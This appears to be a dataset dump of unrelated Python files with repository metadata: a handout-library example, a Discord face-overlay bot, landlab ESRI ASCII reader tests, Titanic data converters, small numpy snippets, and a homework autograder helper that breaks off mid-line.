{"hexsha": "86507ff561b29c1e26acd31a93f4b14a2dbf2b84", "size": 13020, "ext": "py", "lang": "Python", "max_stars_repo_path": "tutorials/preprocessing/70_fnirs_processing.py", "max_stars_repo_name": "Riessarius/mne-python", "max_stars_repo_head_hexsha": "bf6a510c9f1c96f6f043a0d1d1dfb02d7d6dc34d", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1953, "max_stars_repo_stars_event_min_datetime": "2015-01-17T20:33:46.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T04:36:34.000Z", "max_issues_repo_path": "tutorials/preprocessing/70_fnirs_processing.py", "max_issues_repo_name": "Riessarius/mne-python", "max_issues_repo_head_hexsha": "bf6a510c9f1c96f6f043a0d1d1dfb02d7d6dc34d", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 8490, "max_issues_repo_issues_event_min_datetime": "2015-01-01T13:04:18.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T23:02:08.000Z", "max_forks_repo_path": "tutorials/preprocessing/70_fnirs_processing.py", "max_forks_repo_name": "Riessarius/mne-python", "max_forks_repo_head_hexsha": "bf6a510c9f1c96f6f043a0d1d1dfb02d7d6dc34d", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1130, "max_forks_repo_forks_event_min_datetime": "2015-01-08T22:39:27.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-30T21:44:26.000Z", "avg_line_length": 37.7391304348, "max_line_length": 79, "alphanum_fraction": 0.6625960061, "include": true, "reason": "import numpy", "num_tokens": 3170, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.13846178345871912, "lm_q1q2_score": 0.06760858974594001}}
{"text": "\"\"\"\n# Python Handout\n\nTurn Python scripts into handouts with Markdown comments and inline figures. An\nalternative to Jupyter notebooks without hidden state and using your own text\neditor.\n\"\"\"\n\nimport handout\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\"\"\"Start your handout with an output directory.\"\"\"\n\ndoc = handout.Handout('output')\n\n\"\"\"\n## Markdown text\n\nComments with triple quotes are converted to text blocks.\n\nText blocks support [Markdown formatting][1], for example:\n\n- Headlines\n- Hyperlinks\n- Inline `code()` snippets\n- **Bold** and *italic*\n\n[1]: https://commonmark.org\n\"\"\"\n\n\"\"\"\n## Print output\n\nWrite variables to our handout, same syntax as Python's `print()`:\n\"\"\"\nfor index in range(3):\n  doc.write('Iteration', index)\n\n\"\"\"\n## Inline figures\n\nDisplay matplotlib figures on the handout using `display()`:\n\"\"\"\nfig, ax = plt.subplots(figsize=(6, 4))\nax.plot(np.arange(100))\nfig.tight_layout()\ndoc.display(fig)  # Display the figure below this line.\n\n\"\"\"Multiple plots are inserted right after another.\"\"\"\n\nfor iteration in range(3):\n  fig, ax = plt.subplots(figsize=(3, 2))\n  ax.plot(np.sin(np.arange(100) / (iteration + 1)))\n  doc.display(fig, width=0.33)\n\n\"\"\"\n## Exclude lines\n\nHide code from the handout with the `# handout=exclude` comment:\n\"\"\"\n\n# Invisible below:\nvalue = 13  # handout=exclude\n\n\"\"\"\n## View the handout\n\nSave the handout at the end of your script. Then open `output/index.html` in\nyour browser.\n\"\"\"\n\ndoc.save()\n", "meta": {"hexsha": "c38209d5f62ab97122bf977cfc0c6b5438f15fcb", "size": 1453, "ext": "py", "lang": "Python", "max_stars_repo_path": "example.py", "max_stars_repo_name": "atomutek/handout", "max_stars_repo_head_hexsha": "f23eae9f265f98d8b4fec5161a300fb8a3b1d529", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-02-26T08:23:22.000Z", "max_stars_repo_stars_event_max_datetime": "2019-02-26T08:23:22.000Z", "max_issues_repo_path": "example.py", "max_issues_repo_name": "atomutek/handout", "max_issues_repo_head_hexsha": "f23eae9f265f98d8b4fec5161a300fb8a3b1d529", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "example.py", "max_forks_repo_name": "atomutek/handout", "max_forks_repo_head_hexsha": "f23eae9f265f98d8b4fec5161a300fb8a3b1d529", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 19.6351351351, "max_line_length": 79, "alphanum_fraction": 0.7075017206, "include": true, "reason": "import numpy", "num_tokens": 354, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.468790611783139, "lm_q2_score": 0.14414884935602926, "lm_q1q2_score": 0.0675756272774485}}
{"text": "import discord\nimport asyncio\nimport os\nimport cv2\nimport numpy as np\nimport re\nimport math\n\nfrom PIL import Image\nimport requests\nfrom io import BytesIO\n\nclient = discord.Client()\nface_cascade = cv2.CascadeClassifier('haarcascade_frontalface_alt.xml')\neye_cascade = cv2.CascadeClassifier('haarcascade_eye.xml')\nimg_face_replace = Image.open('face.png')\n\n@client.event\nasync def on_ready():\n    print('Logged in as')\n    print(client.user.name)\n    print(client.user.id)\n    print('------')\n\n@client.event\nasync def on_message(message):\n    if message.content.startswith('!face'):\n        urls = re.findall('http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', message.content)\n\n        if len(message.attachments) > 0:\n            urls = [message.attachments[0]['url']]\n\n        if 'load' in message.content.strip(urls[0]):\n            await face_load_handler(message, urls[0])\n        elif 'print' in message.content.strip(urls[0]):\n            await client.send_file(message.channel,\n                    image_to_mem_buf(img_face_replace, 'png'))\n        else:\n            await face_replace_handler(message, urls[0])\n\n#\n# Loads image from url and replaces img_face_replace with given image\n#\nasync def face_load_handler(message, url):\n    response = requests.get(url)\n\n    if response.status_code == 200 and \\\n            'image' in response.headers['content-type'].lower():\n        global img_face_replace\n        img_face_replace = Image.open(BytesIO(response.content))\n\n        await client.send_message(message.channel, 'Image was successfully loaded.')\n    else:\n        await client.send_message(message.channel, 'There was an error loading the image.')\n\n#\n# Loads image from url and replaces all faces with img_face_replace\n#\nasync def face_replace_handler(message, url):\n    response = requests.get(url)\n    img_file = BytesIO(response.content)\n    img_final = Image.open(img_file)\n\n    faces = retrieve_faces(BytesIO(response.content))\n\n    if len(faces) < 1:\n        x = int(img_final.width / 2) - int(img_face_replace.width / 2)\n        y = img_final.height - int(img_face_replace.height / 2)\n\n        await client.send_file(message.channel, \n                image_to_mem_buf(image_place(\n                    img_final,\n                    img_face_replace,\n                    (x, y, img_face_replace.width, img_face_replace.height),\n                    0), 'png'))\n\n        return\n\n    for (x, y, w, h) in faces:\n        eyes = retrieve_eyes_on_face(\n                BytesIO(response.content), x, y, w, h)\n\n        if len(eyes) == 2:\n            # computes tilt of eyes to guestimate face tilt\n            deltaX = eyes[0][0] - eyes[1][0]\n            deltaY = eyes[1][1] - eyes[0][1] # swap index for image y coords\n            deg = math.degrees(math.atan(deltaY / deltaX))\n        elif len(eyes) == 3:\n            await client.send_message(message.channel, 'Illuminati confirmed.')\n        else:\n            deg = 180 # for giggles\n\n        height = h * (img_face_replace.height/img_face_replace.width)\n\n        img_final = image_place(img_final,\n                img_face_replace,\n                (x, y, w, int(height)),\n                deg)\n\n    await client.send_file(message.channel, image_to_mem_buf(img_final, 'png'))\n\n#\n# Superimpose image on image given position and rotation\n#\ndef image_place(main_image, place_image, xywh_tup, deg):\n    place_image = place_image.resize((xywh_tup[2], xywh_tup[3]))\n    place_image = place_image.rotate(deg, resample=Image.BICUBIC)\n    main_image.paste(place_image, (xywh_tup[0], xywh_tup[1]), mask=place_image)\n\n    return main_image\n\n#\n# Retrieves all coordinates of faces on given image\n#\ndef retrieve_faces(image_fp):\n    cv_mat_gray = mem_buf_to_cv2_mat(image_fp)\n\n    # object detection using face cascade on cv matrix\n    faces = face_cascade.detectMultiScale(cv_mat_gray, 1.1, 5)\n\n    print(\"faces\", faces)\n\n    return faces\n\n#\n# Parameter: a face (x, y, w, h)\n# Output: vector of eyes\n#\ndef retrieve_eyes_on_face(image_fp, x, y, w, h):\n    cv_mat_gray = mem_buf_to_cv2_mat(image_fp)\n    cv_mat_face = cv_mat_gray[y:y+h, x:x+w]\n\n    eyes = eye_cascade.detectMultiScale(cv_mat_face)\n\n    print(\"eyes\", eyes)\n\n    return eyes\n\n#\n# Transforms Image in buffer to cv2 matrix\n#\ndef mem_buf_to_cv2_mat(image_fp):\n    # image file as byte array\n    image_buf = np.asarray(bytearray(image_fp.read()), dtype=np.uint8)\n\n    # image buffer to cv matrix\n    cv_mat_gray = cv2.imdecode(image_buf, cv2.IMREAD_GRAYSCALE)\n\n    return cv_mat_gray\n\n#\n# Transforms pillow Image to in-memory buffer image\n#\ndef image_to_mem_buf(image, ftype):\n    buf = BytesIO()\n    buf.seek(0)\n    image.save(buf, ftype)\n    buf.name = '.' + ftype\n    buf.seek(0)\n    return buf\n\nclient.run(os.environ['DISCORD_TOKEN'])\n", "meta": {"hexsha": "0d20fa0d6540e259f3769c578995b228dac7d1fe", "size": 4780, "ext": "py", "lang": "Python", "max_stars_repo_path": "main.py", "max_stars_repo_name": "initiumSrc/face_swapper_py", "max_stars_repo_head_hexsha": "9bda78e0c1d15e04f8334991329f10041cf4f066", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "main.py", "max_issues_repo_name": "initiumSrc/face_swapper_py", "max_issues_repo_head_hexsha": "9bda78e0c1d15e04f8334991329f10041cf4f066", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "main.py", "max_forks_repo_name": "initiumSrc/face_swapper_py", "max_forks_repo_head_hexsha": "9bda78e0c1d15e04f8334991329f10041cf4f066", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.3251533742, "max_line_length": 124, "alphanum_fraction": 0.6535564854, "include": true, "reason": "import numpy", "num_tokens": 1187, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.13296422989056964, "lm_q1q2_score": 0.06752081346317888}}
{"text": "#! /usr/bin/env python\n\"\"\"\nUnit tests for landlab.io.esri_ascii module.\n\"\"\"\nimport os\nimport numpy as np\nfrom numpy.testing import assert_array_equal, assert_array_almost_equal\nfrom nose.tools import assert_equal, assert_true, assert_raises\ntry:\n    from nose.tools import assert_is_instance, assert_list_equal, assert_is\nexcept ImportError:\n    from landlab.testing.tools import (assert_is_instance, assert_list_equal,\n                                       assert_is)\nfrom six import StringIO\n\nfrom landlab.io import read_esri_ascii, read_asc_header\nfrom landlab.io import (MissingRequiredKeyError, KeyTypeError, DataSizeError,\n                        BadHeaderLineError, KeyValueError, \n                        MismatchGridDataSizeError)\nfrom landlab import RasterModelGrid\n\n\n_TEST_DATA_DIR = os.path.join(os.path.dirname(__file__), 'data')\n\n\ndef test_hugo_read_file_name():\n    (grid, field) = read_esri_ascii(os.path.join(_TEST_DATA_DIR,\n                                                 'hugo_site.asc'))\n\n    assert_is_instance(grid, RasterModelGrid)\n\n    assert_equal(field.size, 55 * 76)\n    assert_equal(field.shape, (55 * 76, ))\n\n\ndef test_hugo_read_file_like():\n    with open(os.path.join(_TEST_DATA_DIR, 'hugo_site.asc')) as asc_file:\n        (grid, field) = read_esri_ascii(asc_file)\n\n    assert_is_instance(grid, RasterModelGrid)\n\n    assert_equal(field.size, 55 * 76)\n    assert_equal(field.shape, (55 * 76, ))\n\n\ndef test_hugo_reshape():\n    with open(os.path.join(_TEST_DATA_DIR, 'hugo_site.asc')) as asc_file:\n        (grid, field) = read_esri_ascii(asc_file, reshape=True)\n\n    assert_is_instance(grid, RasterModelGrid)\n\n    assert_true(field.shape, (55, 76))\n\n\ndef test_4x3_read_file_name():\n    (grid, field) = read_esri_ascii(os.path.join(_TEST_DATA_DIR,\n                                                 '4_x_3.asc'))\n\n    assert_is_instance(grid, RasterModelGrid)\n\n    assert_is_instance(field, np.ndarray)\n    assert_array_equal(field,\n                       np.array([9., 10., 11.,\n                                 6.,  7.,  8.,\n                                 3.,  4.,  5.,\n                                 0.,  1.,  2.]))\n\n\ndef test_4x3_read_file_like():\n    with open(os.path.join(_TEST_DATA_DIR, '4_x_3.asc')) as asc_file:\n        (grid, field) = read_esri_ascii(asc_file)\n\n    assert_is_instance(grid, RasterModelGrid)\n\n    assert_array_equal(field,\n                       np.array([9., 10., 11.,\n                                 6.,  7.,  8.,\n                                 3.,  4.,  5.,\n                                 0.,  1.,  2.]))\n\n\ndef test_4x3_shape_mismatch():\n    asc_file = StringIO(\n        \"\"\"\nnrows         4\nncols         3\nxllcorner     1.\nyllcorner     2.\ncellsize      10.\nNODATA_value  -9999\n1. 2. 3. 4.\n5. 6. 7. 8.\n9. 10. 11. 12.\n        \"\"\")\n    (grid, field) = read_esri_ascii(asc_file)\n    assert_equal(field.size, 12)\n\n    asc_file = StringIO(\n        \"\"\"\nnrows         4\nncols         3\nxllcorner     1.\nyllcorner     2.\ncellsize      10.\nNODATA_value  -9999\n1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12.\n        \"\"\")\n    (grid, field) = read_esri_ascii(asc_file)\n    assert_equal(field.size, 12)\n\n\ndef test_4x3_size_mismatch():\n    asc_file = StringIO(\n        \"\"\"\nnrows         4\nncols         3\nxllcorner     1.\nyllcorner     2.\ncellsize      10.\nNODATA_value  -9999\n1. 2. 3. 4. 5. 6. 7. 8. 9. 10.\n        \"\"\")\n    assert_raises(DataSizeError, read_esri_ascii, asc_file)\n    \ndef test_grid_data_size_mismatch():\n    asc_file = StringIO(\n        \"\"\"\nnrows         4\nncols         3\nxllcorner     1.\nyllcorner     2.\ncellsize      10.\nNODATA_value  -9999\n1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12.\n        \"\"\")\n    rmg = RasterModelGrid((10,10),10.)\n    assert_raises(MismatchGridDataSizeError, read_esri_ascii, asc_file, \n                  grid=rmg)    \n\n\ndef test_header_missing_required_key():\n    asc_file = StringIO(\n        \"\"\"\nnrows         4\nxllcorner     1.\nyllcorner     2.\ncellsize      10.\nNODATA_value  -9999\n        \"\"\")\n    assert_raises(MissingRequiredKeyError, read_asc_header, asc_file)\n\n\ndef test_header_unknown_key():\n    asc_file = StringIO(\n        \"\"\"\nnrows         4\nncols         3\nxllcorner     1.\nyllcorner     2.\ncellsize      10.\nNODATA_value  -9999\ninvalid_key   1\n        \"\"\")\n    assert_raises(BadHeaderLineError, read_asc_header, asc_file)\n\n\ndef test_header_missing_value():\n    asc_file = StringIO(\n        \"\"\"\nnrows         4\nncols         3\nxllcorner     1.\nyllcorner     2.\ncellsize\nNODATA_value  -9999\ninvalid_key   1\n        \"\"\")\n    assert_raises(BadHeaderLineError, read_asc_header, asc_file)\n\n\ndef test_header_bad_values():\n    asc_file = StringIO(\n        \"\"\"\nnrows         -4\nncols         3\nxllcorner     1.\nyllcorner     2.\ncellsize      10.\nNODATA_value  -9999\n        \"\"\")\n    assert_raises(KeyValueError, read_asc_header, asc_file)\n\n\ndef test_header_missing_mutex_key():\n    asc_file = StringIO(\n        \"\"\"\nncols         3\nnrows         4\nyllcorner     2.\ncellsize      10.\nNODATA_value  -9999\n        \"\"\")\n    assert_raises(MissingRequiredKeyError, read_asc_header, asc_file)\n\n\ndef test_header_mutex_key():\n    asc_file = StringIO(\n        \"\"\"\nncols         3\nnrows         4\nxllcenter     1.\nyllcorner     2.\ncellsize      10.\nNODATA_value  -9999\n        \"\"\")\n    header = read_asc_header(asc_file)\n    assert_equal(header['xllcenter'], 1.)\n    # with assert_raises(KeyError):\n    #    header['xllcorner']\n    assert_raises(KeyError, lambda k: header[k], 'xllcorner')\n\n    asc_file = StringIO(\n        \"\"\"\nncols         3\nnrows         4\nxllcorner     1.\nyllcorner     2.\ncellsize      10.\nNODATA_value  -9999\n        \"\"\")\n    header = read_asc_header(asc_file)\n    assert_equal(header['xllcorner'], 1.)\n    assert_raises(KeyError, lambda k: header[k], 'xllcenter')\n\n\ndef test_header_missing_optional():\n    asc_file = StringIO(\n        \"\"\"\nncols         3\nnrows         4\nxllcenter     1.\nyllcorner     2.\ncellsize      10.\n        \"\"\")\n    header = read_asc_header(asc_file)\n    assert_raises(KeyError, lambda k: header[k], 'nodata_value')\n\n\ndef test_header_case_insensitive():\n    asc_file = StringIO(\n        \"\"\"\nnCoLs         3\nnrows         4\nXllcenter     1.\nYLLCORNER     2.\nCELLSIZE      10.\nNODATA_value  -999\n        \"\"\")\n    header = read_asc_header(asc_file)\n    for key in ['ncols', 'nrows', 'xllcenter', 'yllcorner', 'cellsize',\n                'nodata_value']:\n        assert_true(key in header)\n\n\ndef test_header_wrong_type():\n    asc_file = StringIO(\n        \"\"\"\nnCoLs         3.5\nnrows         4\nXllcenter     1.\nYLLCORNER     2.\nCELLSIZE      10.\nNODATA_value  -999\n        \"\"\")\n    assert_raises(KeyTypeError, read_asc_header, asc_file)\n\n\ndef test_name_keyword():\n    (grid, field) = read_esri_ascii(os.path.join(_TEST_DATA_DIR,\n                                                 '4_x_3.asc'),\n                                    name='air__temperature')\n\n    assert_is_instance(grid, RasterModelGrid)\n\n    assert_is_instance(field, np.ndarray)\n    assert_array_equal(field,\n                       np.array([9., 10., 11.,\n                                 6.,  7.,  8.,\n                                 3.,  4.,  5.,\n                                 0.,  1.,  2.]))\n    assert_array_almost_equal(grid.at_node['air__temperature'], field)\n    assert_is(grid.at_node['air__temperature'], field)\n    \ndef test_halo_keyword():\n    (grid, field) = read_esri_ascii(os.path.join(_TEST_DATA_DIR, \\\n                                                 '4_x_3.asc'), \\\n                                                 halo=1)\n                                    \n    assert_is_instance(grid, RasterModelGrid)\n\n    assert_is_instance(field, np.ndarray)\n    assert_array_equal(field,\n                       np.array([-9999., -9999., -9999., -9999., -9999.,  \n                                 -9999.,     9.,    10.,    11., -9999.,\n                                 -9999.,     6.,     7.,     8., -9999.,\n                                 -9999.,     3.,     4.,     5., -9999.,\n                                 -9999.,     0.,     1.,     2., -9999.,\n                                 -9999., -9999., -9999., -9999., -9999.]))\n                                 \ndef test_halo_keyword_no_nodata_value():\n    (grid, field) = read_esri_ascii(os.path.join(_TEST_DATA_DIR, \\\n                                                '4_x_3_no_nodata_value.asc'), \\\n                                                halo=1)\n                                    \n    assert_is_instance(grid, RasterModelGrid)\n\n    assert_is_instance(field, np.ndarray)\n    assert_array_equal(field,\n                       np.array([-9999., -9999., -9999., -9999., -9999.,  \n                                 -9999.,     9.,    10.,    11., -9999.,\n                                 -9999.,     6.,     7.,     8., -9999.,\n                                 -9999.,     3.,     4.,     5., -9999.,\n                                 -9999.,     0.,     1.,     2., -9999.,\n                                 -9999., -9999., -9999., -9999., -9999.]))\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "226abe0222a6ec87a0ea0058c1e4806e7d58959f", "size": 9052, "ext": "py", "lang": "Python", "max_stars_repo_path": "landlab/io/tests/test_read_esri_ascii.py", "max_stars_repo_name": "awickert/landlab", "max_stars_repo_head_hexsha": "496de56717a5877db96f354a1b1285bfabe8b56f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2015-08-17T19:29:50.000Z", "max_stars_repo_stars_event_max_datetime": "2015-08-17T19:29:50.000Z", "max_issues_repo_path": "landlab/io/tests/test_read_esri_ascii.py", "max_issues_repo_name": "awickert/landlab", "max_issues_repo_head_hexsha": "496de56717a5877db96f354a1b1285bfabe8b56f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2016-03-02T01:24:41.000Z", "max_issues_repo_issues_event_max_datetime": "2016-03-02T01:24:41.000Z", "max_forks_repo_path": "landlab/io/tests/test_read_esri_ascii.py", "max_forks_repo_name": "awickert/landlab", "max_forks_repo_head_hexsha": "496de56717a5877db96f354a1b1285bfabe8b56f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2017-07-03T20:21:13.000Z", "max_forks_repo_forks_event_max_datetime": "2018-09-06T23:58:19.000Z", "avg_line_length": 27.5136778116, "max_line_length": 79, "alphanum_fraction": 0.5395492709, "include": true, "reason": "import numpy,from numpy", "num_tokens": 2475, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.1347759139476672, "lm_q1q2_score": 0.0673879569738336}}
{"text": "\"\"\"\ntype_conversions.py\n-------------------\nThis module provides a functions for converting data types.\nBy: Sebastian D. Goodfellow, Ph.D., 2018\n\"\"\"\n\n# Compatibility imports\nfrom __future__ import absolute_import, division, print_function\n\n# 3rd party imports\nimport numpy as np\n\n\ndef sex_type_conversion(sex):\n    \"\"\"Male=0 and Female=1\"\"\"\n    if sex == 'male':\n        return 0\n    elif sex == 'female':\n        return 1\n    else:\n        return np.nan\n\n\ndef embarked_type_conversion(embarked):\n    \"\"\"S=0, C=1, and Q=2\"\"\"\n    if embarked == 'S':\n        return 0\n    elif embarked == 'C':\n        return 1\n    elif embarked == 'Q':\n        return 2\n    else:\n        return np.nan\n", "meta": {"hexsha": "66ba27e3e550b18b66778d453e4f54da3e75ca37", "size": 684, "ext": "py", "lang": "Python", "max_stars_repo_path": "titanic/titanic/data/type_conversions.py", "max_stars_repo_name": "Seb-Good/titanicds", "max_stars_repo_head_hexsha": "74b2de81cc1eae41ed043a3afa5ebd834e58e55c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "titanic/titanic/data/type_conversions.py", "max_issues_repo_name": "Seb-Good/titanicds", "max_issues_repo_head_hexsha": "74b2de81cc1eae41ed043a3afa5ebd834e58e55c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "titanic/titanic/data/type_conversions.py", "max_forks_repo_name": "Seb-Good/titanicds", "max_forks_repo_head_hexsha": "74b2de81cc1eae41ed043a3afa5ebd834e58e55c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 19.5428571429, "max_line_length": 64, "alphanum_fraction": 0.6023391813, "include": true, "reason": "import numpy", "num_tokens": 180, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.5, "lm_q2_score": 0.13477591221002244, "lm_q1q2_score": 0.06738795610501122}}
{"text": "import numpy as np #the Numpy library\nimport matplotlib.pyplot as plt #Matplotlib's pyplot\n\nimport sys #gives access to a C-like sys library\nimport os #give access to operating system \n\nprint(sys.argv) #prinnts any command line arguments, incl program name \nprint(os.getcwd()) #prints current working directory ", "meta": {"hexsha": "1f2e352a48928ed625564d8ce1b244cef199887c", "size": 311, "ext": "py", "lang": "Python", "max_stars_repo_path": "useful_modules.py", "max_stars_repo_name": "khangnngo12/astr-110-section-3", "max_stars_repo_head_hexsha": "128e0113aa01175b5541abc60227ea0bc703cbb6", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "useful_modules.py", "max_issues_repo_name": "khangnngo12/astr-110-section-3", "max_issues_repo_head_hexsha": "128e0113aa01175b5541abc60227ea0bc703cbb6", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2020-10-15T03:29:03.000Z", "max_issues_repo_issues_event_max_datetime": "2020-10-15T16:30:14.000Z", "max_forks_repo_path": "useful_modules.py", "max_forks_repo_name": "khangnngo12/astr-110-section-3", "max_forks_repo_head_hexsha": "128e0113aa01175b5541abc60227ea0bc703cbb6", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.875, "max_line_length": 71, "alphanum_fraction": 0.7909967846, "include": true, "reason": "import numpy", "num_tokens": 70, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.41489884579676883, "lm_q2_score": 0.16238002855971873, "lm_q1q2_score": 0.06737128642987365}}
{"text": "from abc import ABC, abstractmethod\nimport numpy as np\n\n\nclass Activation(ABC):\n\n    def __call__(self, x):\n        return self.forward(x)\n\n    @abstractmethod\n    def forward(self,\n                x: np.ndarray):\n        pass\n\n    @abstractmethod\n    def backward(self,\n                 prev_error: np.ndarray):\n        pass\n\n    @abstractmethod\n    def __dir__(self):\n        pass\n", "meta": {"hexsha": "0607a4932acaa177e662fd41ee822e7f6ce85f71", "size": 383, "ext": "py", "lang": "Python", "max_stars_repo_path": "Project1/src/activation.py", "max_stars_repo_name": "YuseqYaseq/pw-deep-learning", "max_stars_repo_head_hexsha": "0866418e348d1fa5441e22ffdb019b4e128d2051", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Project1/src/activation.py", "max_issues_repo_name": "YuseqYaseq/pw-deep-learning", "max_issues_repo_head_hexsha": "0866418e348d1fa5441e22ffdb019b4e128d2051", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Project1/src/activation.py", "max_forks_repo_name": "YuseqYaseq/pw-deep-learning", "max_forks_repo_head_hexsha": "0866418e348d1fa5441e22ffdb019b4e128d2051", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 16.652173913, "max_line_length": 41, "alphanum_fraction": 0.5822454308, "include": true, "reason": "import numpy", "num_tokens": 84, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167793123159, "lm_q2_score": 0.14608724333058223, "lm_q1q2_score": 0.06734867041887962}}
{"text": "# Can't round() a Numpy array - have to use np.round().\nimport numpy as np  # 1.11.1\nround(1)\nround(np.array(1))  # <-- TypeError: type numpy.ndarray doesn't define __round__ method\n\n# To be fair, Python can't round a list, to begin with.\nround([1])  # <-- TypeError: type list doesn't define __round__ method\n", "meta": {"hexsha": "59dab8ae58ab7457e638a302d562237a0913da80", "size": 310, "ext": "py", "lang": "Python", "max_stars_repo_path": "numpy-round.py", "max_stars_repo_name": "cmey/surprising-snippets", "max_stars_repo_head_hexsha": "302db8a64323226e037698af66d524203034f94c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "numpy-round.py", "max_issues_repo_name": "cmey/surprising-snippets", "max_issues_repo_head_hexsha": "302db8a64323226e037698af66d524203034f94c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "numpy-round.py", "max_forks_repo_name": "cmey/surprising-snippets", "max_forks_repo_head_hexsha": "302db8a64323226e037698af66d524203034f94c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.75, "max_line_length": 87, "alphanum_fraction": 0.6935483871, "include": true, "reason": "import numpy", "num_tokens": 90, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.13660838651113866, "lm_q1q2_score": 0.06723702708074321}}
{"text": "import numpy as np\nimport traceback\nimport json\n\n# Test object to be used for other homeworks\nclass Test(object):\n    def __init__(self):\n        self.scores = {}\n\n    def assertions(self, user_vals, expected_vals, test_type, test_name):\n        if test_type == \"type\":\n            try:\n                assert type(user_vals) == type(expected_vals)\n            except Exception as e:\n                print(\"Type error, your type doesnt match the expected type.\")\n                print(\"Wrong type for %s\" % test_name)\n                print(\"Your type:   \", type(user_vals))\n                print(\"Expected type:\", type(expected_vals))\n                return False\n        elif test_type == \"shape\":\n            try:\n                assert user_vals.shape == expected_vals.shape\n            except Exception as e:\n                print(\"Shape error, your shapes doesnt match the expected shape.\")\n                print(\"Wrong shape for %s\" % test_name)\n                print(\"Your shape:    \", user_vals.shape)\n                print(\"Expected shape:\", expected_vals.shape)\n                return False\n        elif test_type == \"closeness\":\n            try:\n                assert np.allclose(user_vals, expected_vals,atol=1e-5)\n            except Exception as e:\n                print(\"Closeness error, your values dont match the expected values.\")\n                print(\"Wrong values for %s\" % test_name)\n                print(\"Your values:    \", user_vals)\n                print(\"Expected values:\", expected_vals)\n                return False\n        return True\n\n    def print_failure(self, cur_test):\n        print(\"*\" * 50)\n        print(\"The local autograder failed %s.\" % cur_test)\n        print(\"*\" * 50)\n        print(\" \")\n\n    def print_name(self, cur_question):\n        print(\"-\" * 20)\n        print(cur_question)\n\n    def print_outcome(self, short, outcome):\n        print(short + \": \", \"PASS\" if outcome else \"*** 